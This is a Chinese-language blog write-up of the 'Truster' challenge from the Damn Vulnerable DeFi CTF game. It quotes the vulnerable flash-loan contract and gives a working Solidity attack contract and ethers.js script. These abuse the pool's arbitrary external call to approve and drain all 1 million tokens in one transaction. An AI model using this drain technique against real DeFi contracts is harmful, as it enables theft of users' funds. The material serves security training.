jiang

jiang

Man who has not escaped from low-class level taste.

DamnVulnerableDeFi-Truster题解

概述#

Damn Vulnerable DeFi 是学习以太坊 DeFi 智能合约攻击性安全的 CTF 游戏。

该游戏涵盖了闪电贷、价格预言机、治理、非同质化代币(NFT)、去中心化交易所(DEX)、借贷池、智能合约钱包、时间锁等多种 DeFi 场景。

这种类似 CTF 的题目的游戏非常适合初学者去学习 solidity/ethers.js 的开发。

挑战描述网站:https://www.damnvulnerabledefi.xyz/
挑战源码地址:https://github.com/tinchoabbate/damn-vulnerable-defi

Truster#

题目描述:
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.

解析#

我们的目标是在一个 transaction 中取走 pool 中所有的 token。

我们来看看池子的合约

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }

我们可以看到上述闪电贷在借出 token 之后用了 target.functionCall(data) 来调用用户传入的 calldata。
我们可以利用这一点去进行攻击套利。我们可以通过 target.functionCall(data) 去给 token Approve 我们的攻击合约,然后可以在闪电贷结束后利用已经 approve 过的结果进行 transfer token 的操作。

题解#

攻击合约: AttackTruster.sol

import "../truster/TrusterLenderPool.sol";


contract AttackTruster {

    TrusterLenderPool _truster;
    DamnValuableToken public immutable _token;


    constructor(address truster, address tokenAddress) {
        _truster = TrusterLenderPool(truster);
        _token = DamnValuableToken(tokenAddress);
    }

    function attack(uint256 amount, address borrower, address target, bytes calldata data) external {
       _truster.flashLoan(amount, borrower, target, data);
       _token.transferFrom(address(_truster), msg.sender, _token.balanceOf(address(_truster)));
    }
}
it('Execution', async function () {
        
        attackContract = await (await ethers.getContractFactory('AttackTruster', player)).deploy(pool.address, token.address);
        const abi = ["function approve(address spender, uint256 amount)"];
        const iface = new ethers.utils.Interface(abi);
        const data = iface.encodeFunctionData("approve", [attackContract.address, TOKENS_IN_POOL]);

        await attackContract.attack(0, player.address, token.address, data);

});

完整题解地址:https://github.com/fenghaojiang/damn-vulnerable-defi

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。